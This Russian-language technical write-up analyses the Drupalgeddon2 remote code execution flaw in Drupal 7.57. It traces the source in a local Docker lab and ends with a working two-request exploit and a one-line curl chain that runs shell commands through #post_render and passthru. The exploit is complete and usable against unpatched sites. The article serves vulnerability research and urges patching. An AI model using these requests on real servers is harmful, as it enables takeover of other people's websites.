Разбираем уязвимость Drupalgeddon2 в Drupal 7

Разбираем уязвимость Drupalgeddon2 в Drupal 7

CyberLifes


Недавно мир узнал о серьезной уязвимости в системе управления контентом Drupal. Однако, разобрав проблему в ветке 8.x, мы оставили за кадром аналогичную брешь в Drupal 7. А ведь на этой версии сейчас работает куда больше сайтов! Эксплуатировать уязвимость в ней сложнее, но не намного. Сейчас я покажу, как это делается.

 

Подготовка

Для демонстрации уязвимости проще всего использовать официальный репозиторий Drupal на Docker Hub. Разворачиваем контейнер с нужной версией CMS. Сначала поднимаем сервер БД.

$ docker run -d -e MYSQL_USER="drupal" -e MYSQL_PASSWORD="7C4TYVARsy" -e MYSQL_DATABASE="drupal" --rm --name=mysql --hostname=mysql mysql/mysql-server


Теперь дело за контейнером с CMS. В этот раз берем самую старую уязвимую версию — 7.57.

$ docker run -d --rm -p80:80 -p9000:9000 --link=mysql --name=drupalvh --hostname=drupalvh drupal:7.57


Теперь через веб-интерфейс устанавливаем Drupal и проверяем, все ли у нас работает.

Установка Drupal 7.57

Еще неплохо было бы завести отладчик. Для этого я дополнительно установлю расширение Xdebug.

$ pecl install xdebug
$ echo "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20151012/xdebug.so" > /usr/local/etc/php/conf.d/php-xdebug.ini
$ echo "xdebug.remote_enable=1" >> /usr/local/etc/php/conf.d/php-xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /usr/local/etc/php/conf.d/php-xdebug.ini
$ service apache2 reload


Не забудь поменять IP-адрес 192.168.99.1 на свой и обрати внимание на путь до скомпиленной библиотеки xdebug.so. После перезагрузки конфигов Apache можешь запускать свой любимый дебаггер. В работе я по-прежнему использую PhpStorm и расширение Xdebug helper для Chrome.

Теперь скачиваем исходники CMS, слушаем 9000-й порт — и вперед, к победам.

 

Первые шаги

Перейдем на страницу создания нового аккаунта. В седьмой версии она значительно аскетичнее, чем в восьмой.

Создание нового аккаунта в Drupal 7
Создание нового аккаунта в Drupal 8

Из-за того, что отсутствует возможность загрузить аватар, стандартный вектор эксплуатации тут не сработает. Значит, нужно найти новый! Суть бага все та же — это внедрение элементов в Renderable Arrays, которые будут обработаны с помощью Render API. Существуют специальные элементы, которые вызывают функцию call_user_func с кастомными параметрами.

Для начала посмотрим, как обрабатываются роуты в приложении. Если у тебя на сервере включены семантические URL, то URI перенаправляются на файл index.php как GET-параметр q.

/index.php

19: require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
20: drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
21: menu_execute_active_handler();


/includes/menu.inc

510: function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
...
521:   if ($page_callback_result == MENU_SITE_ONLINE) {
522:     if ($router_item = menu_get_item($path)) {


Например, для отображения страницы http://drupal.vh/user/register будет выполнен запрос http://drupal.vh/index.php?q=user/register.

Обработка роутов в Drupal 7

/includes/menu.inc

455: function menu_get_item($path = NULL, $router_item = NULL) {
456:   $router_items = &drupal_static(__FUNCTION__);
457:   if (!isset($path)) {
458:     $path = $_GET['q'];
459:   }
460:   if (isset($router_item)) {
461:     $router_items[$path] = $router_item;
462:   }


Далее путь разбивается при помощи функции array_slice и выполняется запрос к базе данных для выборки путей из таблицы с роутами. По умолчанию menu_router.

473:     $parts = array_slice($original_map, 0, MENU_MAX_PARTS);
474:     $ancestors = menu_get_ancestors($parts);
475:     $router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc();


В таблице хранятся колбэки, которые нужно выполнять при обращении к соответствующим путям.

Таблица с информацией о существующих роутах и их параметрах

Если путь и соответствующий ему колбэк найден, то он вызывается через функцию call_user_func_array.

510: function menu_execute_active_handler($path = NULL, $deliver = TRUE) {
...
518:   drupal_alter('menu_site_status', $page_callback_result, $read_only_path);
...
519:
520:   // Only continue if the site status is not set
521:   if ($page_callback_result == MENU_SITE_ONLINE) {
522:     if ($router_item = menu_get_item($path)) {
523:       if ($router_item['access']) {
...
527:         $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);


Как ты, возможно, знаешь из моего разбора уязвимости в Drupal 8, существует метод uploadAjaxCallback. Он давал возможность выполнять рендеринг вложенного массива с пользовательскими данными. Так вот, в седьмой версии есть похожая функция — file_ajax_upload. Она тоже отвечает за обработку файлов, загруженных с помощью AJAX-запросов, и в ней есть место, где массив с нужными данными отправляется на рендеринг.

/modules/file/file.module

238: function file_ajax_upload() {
239:   $form_parents = func_get_args();
240:   $form_build_id = (string) array_pop($form_parents);
241:
242:   if (empty($_POST['form_build_id']) || $form_build_id != $_POST['form_build_id']) {
...
250:   list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
...
268:   drupal_process_form($form['#form_id'], $form, $form_state);
...
285:   $output = drupal_render($form);


Теперь посмотрим, запросы к каким путям используют эту функцию в качестве колбэка.

mysql> select path,page_callback from menu_router where page_callback='file_ajax_upload';
+-----------+------------------+
| path      | page_callback    |
+-----------+------------------+
| file/ajax | file_ajax_upload |
+-----------+------------------+
1 row in set (0.00 sec)


Попробуем сделать его вызов, набрав http://drupal.vh/file/ajax/test/test.

Отладка запроса к роуту file/ajax

Валидный запрос имеет вид http://drupal.vh/file/ajax/имя_элемента/ключ/id_формы, где имя элемента и ключ — это путь до массива, который нужно отрендерить. В запросе также должен указываться параметр form_build_id, который соответствует id обрабатываемой формы.

242:   if (empty($_POST['form_build_id']) || $form_build_id != $_POST['form_build_id']) {


Сама форма извлекается из кеша с помощью функции ajax_get_form. AJAX подразумевает фоновое выполнение и отправку запросов с уже загруженной браузером страницы. При обработке с помощью ajax_get_form Drupal считает, что в кеше уже должна находиться форма, для которой происходит изменение или обновление содержимого. Если это не так, то скрипт просто остановит работу.

250:   list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();


/includes/ajax.inc

322: function ajax_get_form() {
...
323:   $form_state = form_state_defaults();
324:
325:   $form_build_id = $_POST['form_build_id'];
...
328:   $form = form_get_cache($form_build_id, $form_state);
329:   if (!$form) {
...
335:     watchdog('ajax', 'Invalid form POST data.', array(), WATCHDOG_WARNING);
336:     drupal_exit();
337:   }


Наша задача — записать в кеш форму с пейлоадом, а потом с помощью запроса к file/ajax вызвать рендеринг этой формы.

 

Манипуляции с кешем

Итак, посмотрим на любую форму, доступную без авторизации, — например, сброс пароля пользователя. Она хороша тем, что позволяет записывать произвольные пользовательские данные в параметр #default_value.

/modules/user/user.pages.inc

30: function user_pass() {
31:   global $user;
32:
33:   $form['name'] = array(
34:     '#type' => 'textfield',
35:     '#title' => t('Username or e-mail address'),
36:     '#size' => 60,
37:     '#maxlength' => max(USERNAME_MAX_LENGTH, EMAIL_MAX_LENGTH),
38:     '#required' => TRUE,
39:     '#default_value' => isset($_GET['name']) ? $_GET['name'] : '',
40:   );
...
60:   return $form;


Запрос к форме сброса пароля пользователя

С помощью этой формы мы можем передать RCE-пейлоад типа такого:

#post_render[]=exec&#children=ls


Но вот беда: при передаче невалидных данных в качестве имени форма не кешируется. Полистав код, обнаруживаем, что метод form_set_cache записывает информацию об указанной форме в кеш.

/includes/form.inc

557: function form_set_cache($form_build_id, $form, $form_state) {
558:   // 6 hours cache life time for forms should be plenty.
559:   $expire = 21600;
...
571:   if (isset($form)) {
...
576:     cache_set('form_' . $form_build_id, $form, 'cache_form', REQUEST_TIME + $expire);
577:   }


Вызов этого метода происходит в drupal_rebuild_form.

464: function drupal_rebuild_form($form_id, &$form_state, $old_form = NULL) {
465:   $form = drupal_retrieve_form($form_id, $form_state);
...
502:   if (empty($form_state['no_cache'])) {
503:     form_set_cache($form['#build_id'], $form, $form_state);
504:   }


Эта функция вызывается из drupal_process_form, которая используется при обработке любой формы.

865: function drupal_process_form($form_id, &$form, &$form_state) {


В ней же имеются и условия, при соблюдении которых форма попадает в кеш.

969:     if (($form_state['rebuild'] || !$form_state['executed']) && !form_get_errors()) {
970:       // Form building functions (e. g., _form_builder_handle_input_element())
971:       // may use $form_state['rebuild'] to determine if they are running in the
972:       // context of a rebuild, so ensure it is set
973:       $form_state['rebuild'] = TRUE;
974:       $form = drupal_rebuild_form($form_id, $form_state, $form);
975:     }


Первая часть условия ($form_state['rebuild'] || !$form_state['executed']) почти на любой дефолтной форме будет TRUE, а вот с form_get_errors есть проблемы. Эта функция проверяет, валидны ли введенные в форму данные.

1676: function form_get_errors() {
1677:   $form = form_set_error();
1678:   if (!empty($form)) {
1679:     return $form;
1680:   }
1681: }


Наши, к сожалению, никаких проверок не выдерживают, и мы ловим ошибку вида Username or e-mail address field is required.

Валидатор введенных в форму данных вернул ошибку

Посмотрим поближе на функцию form_set_error.

1623: function form_set_error($name = NULL, $message = '', $limit_validation_errors = NULL) {
1624:   $form = &drupal_static(__FUNCTION__, array());
1625:   $sections = &drupal_static(__FUNCTION__ . ':limit_validation_errors');
...
1630:   if (isset($name) && !isset($form[$name])) {
1631:     $record = TRUE;
1632:     if (isset($sections)) {
...
1640:       $record = FALSE;
...
1654:     }
1655:     if ($record) {
1656:       $form[$name] = $message;
1657:       if ($message) {
1658:         drupal_set_message($message, 'error');
1659:       }
1660:     }


Обрати внимание на переменную $record: если она установлена в FALSE, то сообщение об ошибке не будет выводиться. Значение FALSE она принимает, когда $sections — не null.

1626:   if (isset($limit_validation_errors)) {
1627:     $sections = $limit_validation_errors;
1628:   }


Еще немного побегав по файлу form.inc, натыкаемся на такой кусок:

1412:     if (isset($form_state['triggering_element']['#limit_validation_errors']) && ($form_state['triggering_element']['#limit_validation_errors'] !== FALSE) && !($form_state['submitted'] && !isset($form_state['triggering_element']['#submit']))) {
1413:       form_set_error(NULL, '', $form_state['triggering_element']['#limit_validation_errors']);
1414:     }
...
1423:     elseif (isset($form_state['triggering_element']) && !isset($form_state['triggering_element']['#limit_validation_errors']) && !$form_state['submitted']) {
1424:       form_set_error(NULL, '', array());
1425:     }
...
1430:     else {
1431:       drupal_static_reset('form_set_error:limit_validation_errors');
1432:     }


Во время обработки нашего POST-запроса мы попадаем в последнюю ветку условия, но если удастся попасть во вторую, то сообщения об ошибке не будет. Потому что в качестве третьего аргумента функции form_set_error ($limit_validation_errors) отправляется пустой массив, который впоследствии станет переменной $sections.

Разберем нужное нам условие по частям.

  • isset($form_state['triggering_element']) возвращает true. Ключ triggering_element указывает на элемент, который вызвал обработку формы. В нашем случае это кнопка E-mail new password.
  • !isset($form_state['triggering_element']['#limit_validation_errors']) возвращает false. Этот ключ указывает, ограничивать вывод ошибок валидации или нет. По дефолту не ограничено, поэтому ключ limit_validation_errors будет содержать false.
  • !$form_state['submitted'] также возвращает false. Так как форма отправлена, ключ submitted установлен в true.
Отладка запроса на сброс пароля. Условия, нужные для сокрытия ошибок валидации

Посмотрим, в каком месте изменяется значение ключа submitted переменной $form_state.

1987:     if (!empty($form_state['triggering_element']['#executes_submit_callback'])) {
1988:       $form_state['submitted'] = TRUE;
1989:     }


Откуда вообще берется этот triggering_element? Если он не указан явно, то элементом считается первая нажатая кнопка в форме.

2142:   if ($process_input) {
...
2144:     if (_form_element_triggered_scripted_submission($element, $form_state)) {
2145:       $form_state['triggering_element'] = $element;
2146:     }
...
2151:     if (isset($element['#button_type'])) {
...
2155:       $form_state['buttons'][] = $element;
2156:       if (_form_button_was_clicked($element, $form_state)) {
2157:         $form_state['triggering_element'] = $element;
2158:       }
2159:     }
2160:   }


Заглянем в функцию _form_element_triggered_scripted_submission.

2180: function _form_element_triggered_scripted_submission($element, &$form_state) {
2181:   if (!empty($form_state['input']['_triggering_element_name']) && $element['#name'] == $form_state['input']['_triggering_element_name']) {
2182:     if (empty($form_state['input']['_triggering_element_value']) || $form_state['input']['_triggering_element_value'] == $element['#value']) {
2183:       return TRUE;
2184:     }
2185:   }
2186:   return FALSE;
2187: }


Этот код выполняет проверку, равны ли $form_state['input']['_triggering_element_name'] и $element['#name']. Массив $form_state['input'] содержит все переданные в форме параметры. Таким образом, отправив _triggering_element_name с именем нужного элемента, можно вручную обозначить его элементом, спровоцировавшим отправку формы. Попробуем это сделать. Укажем в качестве _triggering_element_name имя текстбокса из нашей формы сброса пароля, а оригинальный сабмит (параметр op) передавать не будем, иначе он перезапишет кастомный triggering_element.

Назначение triggering_element с помощью параметра _triggering_element_name

Действительно, после такого финта мы имеем в $form_state['triggering_element'] наш текстбокс.

Успешно переназначили triggering_element

Помимо того что этот элемент не имеет параметра #executes_submit_callback, в нем также отсутствует #limit_validation_errors, а это значит, что мы убили сразу двух зайцев и теперь условие на отключение ошибок валидации отрабатывает успешно.

Успешный обход вывода ошибок валидации формы

Теперь эта форма попадает в кеш, то есть в таблицу cache_form базы данных.

Форма попала в кеш

Идентификатор формы возвращается в ответе сервера в виде скрытого поля form_build_id.

 

Эксплоит

Собираем всю полученную информацию вместе. Эксплуатация производится в два запроса. Сначала отправляем форму с нужным пейлоадом в кеш, а затем вторым запросом к file/ajax дергаем ее оттуда и триггерим уязвимость.

Первый запрос будет выглядеть так:

POST /user/password?name[%23post_render][]=passthru&name[%23children]=ls HTTP/1.1
Host: drupal.vh
Content-Type: application/x-www-form-urlencoded

_triggering_element_name=name&form_id=user_pass


Обрати внимание, что значение (default_value) для параметра name берется из массива $_GET, поэтому запрос выглядит именно так.

/modules/user/user.pages.inc

30: function user_pass() {
...
39:     '#default_value' => isset($_GET['name']) ? $_GET['name'] : '',


Смотрим ID, который вернула система, и подставляем его во второй запрос.

POST /file/ajax/name/%23default_value/form-c2ards5ANmsD9HGEq4986Ruf9gmuDyAr3Fu7d4t75Lg HTTP/1.1
Host: drupal.vh
Content-Type: application/x-www-form-urlencoded

form_build_id=form-c2ards5ANmsD9HGEq4986Ruf9gmuDyAr3Fu7d4t75Lg


Успешная эксплуатация Drupal 7

Выкидываем лишнее и объединяем все в одну команду.

$ curl -s --globof "http://drupal.vh/user/password?name[%23post_render][]=passthru&name[%23children]=ls" --data "_triggering_element_name=name&form_id=user_pass"|grep form_build_id|awk -F'"' '{print $6}'|xargs -I^ curl -s "http://drupal.vh/file/ajax/name/%23default_value/^" --data "form_build_id=^"


Вот так в одну строчку можно проэксплуатировать уязвимость в Drupal 7. Возможно, ты найдешь способ сделать это еще элегантнее.

Эксплуатация для Drupal 7 с помощью curl

Разумеется, существуют уже готовые инструменты для автоматической эксплуатации этой уязвимости. Если интересно, то рекомендую обратить внимание на репозиторий github.com/dreadlocked/Drupalgeddon2.

 

Демонстрация уязвимости (видео) -  https://vimeo.com/272312688

Выводы

Ну что тут можно сказать? Злоумышленники не дремлют, число атак постоянно растет, и по Сети уже рыщут самые разные сканеры в надежде превратить любой попавшийся под руку уязвимый сервер в майнер криптовалюты, сделать его частью ботнета или отправной точкой для сотни других возможных темных делишек. Так что бегом обновляться, если у тебя где-то установлен Drupal не последней версии.


Report Page